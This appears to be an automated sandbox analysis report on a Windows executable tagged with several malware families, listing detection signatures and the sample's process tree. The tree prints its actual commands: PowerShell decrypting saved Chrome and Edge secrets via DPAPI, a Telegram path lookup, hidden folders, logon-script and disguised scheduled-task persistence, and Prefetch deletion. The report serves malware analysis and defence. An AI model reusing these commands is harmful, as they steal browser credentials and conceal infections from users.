Overview

overview

10

Static

static

10

2026-07-14...t_.exe

windows10-2004-x64

9

2026-07-14...t_.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    139s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/07/2026, 21:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 37.7MB
  • Sample260714-1jf3ases2n
  • SHA256 3ff3ae21897f35e8ba8a12f4a23ec969e09b057f4c968590676cd0a9c8886be5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Executes dropped EXE 12 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 12 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs

    Using powershell.exe command.

    execution
  • Contacts third-party web service commonly abused for C2 1 TTPs 12 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 12 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Service Discovery 1 TTPs 30 IoCs

    Attempt to gather information on host's network.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 15 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 29 IoCs
    defense_evasion
  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 14 IoCs
    defense_evasion
  • Detects videocard installed 1 TTPs 15 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 29 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5616" /FO CSV /NH"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "PID eq 5616" /FO CSV /NH
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4240
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6020
      • C:\Windows\system32\reg.exe
        reg query "HKCU\Software\Telegram Desktop" /v "path"
        3⤵
          PID:3728
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5580
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
        2⤵
        • Network Service Discovery
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Network Service Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          3⤵
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache""
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3536
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache"
          3⤵
          • Views/modifies file attributes
          PID:2528
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
          3⤵
          • Registers new Windows logon scripts automatically executed at logon.
          PID:4948
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_3ffd52acb2ddc835.dat""
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:3144
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_3ffd52acb2ddc835.dat"
          3⤵
          • Views/modifies file attributes
          PID:4124
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
        2⤵
          PID:1432
          • C:\Windows\system32\reg.exe
            reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
            3⤵
              PID:4788
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
            2⤵
              PID:2852
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065304804.bat""
              2⤵
                PID:5628
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065304804.bat"
                  3⤵
                    PID:2508
                    • C:\Windows\system32\timeout.exe
                      timeout /t 5
                      4⤵
                      • Delays execution with timeout.exe
                      PID:5940
              • C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                1⤵
                • Executes dropped EXE
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4920
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 2672" /FO CSV /NH"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1116
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "PID eq 2672" /FO CSV /NH
                    3⤵
                    • Enumerates processes with tasklist
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4776
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4008
                  • C:\Windows\system32\reg.exe
                    reg query "HKCU\Software\Telegram Desktop" /v "path"
                    3⤵
                      PID:5092
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1332
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:748
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                    2⤵
                    • Network Service Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1824
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Network Service Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:588
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:6056
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic path win32_VideoController get name
                      3⤵
                      • Detects videocard installed
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4668
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.74469a09cache""
                    2⤵
                    • Hide Artifacts: Hidden Files and Directories
                    • Suspicious use of WriteProcessMemory
                    PID:3412
                    • C:\Windows\system32\attrib.exe
                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.74469a09cache"
                      3⤵
                      • Views/modifies file attributes
                      PID:5136
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5208
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                      3⤵
                      • Registers new Windows logon scripts automatically executed at logon.
                      PID:5128
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4452
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1704
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_84a379192f4fdb67.dat""
                    2⤵
                    • Hide Artifacts: Hidden Files and Directories
                    PID:5092
                    • C:\Windows\system32\attrib.exe
                      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_84a379192f4fdb67.dat"
                      3⤵
                      • Views/modifies file attributes
                      PID:1128
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                    2⤵
                      PID:5372
                      • C:\Windows\system32\reg.exe
                        reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                        3⤵
                          PID:1316
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065309804.bat""
                        2⤵
                          PID:5756
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065309804.bat"
                            3⤵
                              PID:1400
                              • C:\Windows\system32\timeout.exe
                                timeout /t 5
                                4⤵
                                • Delays execution with timeout.exe
                                PID:2656
                        • C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                          C:\Users\Admin\AppData\Roaming\.74469a09cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                          1⤵
                          • Executes dropped EXE
                          • Checks processor information in registry
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:2964
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5456" /FO CSV /NH"
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2992
                            • C:\Windows\system32\tasklist.exe
                              tasklist /FI "PID eq 5456" /FO CSV /NH
                              3⤵
                              • Enumerates processes with tasklist
                              PID:3204
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3708
                            • C:\Windows\system32\reg.exe
                              reg query "HKCU\Software\Telegram Desktop" /v "path"
                              3⤵
                                PID:2736
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2444
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4308
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                              2⤵
                              • Network Service Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:4268
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
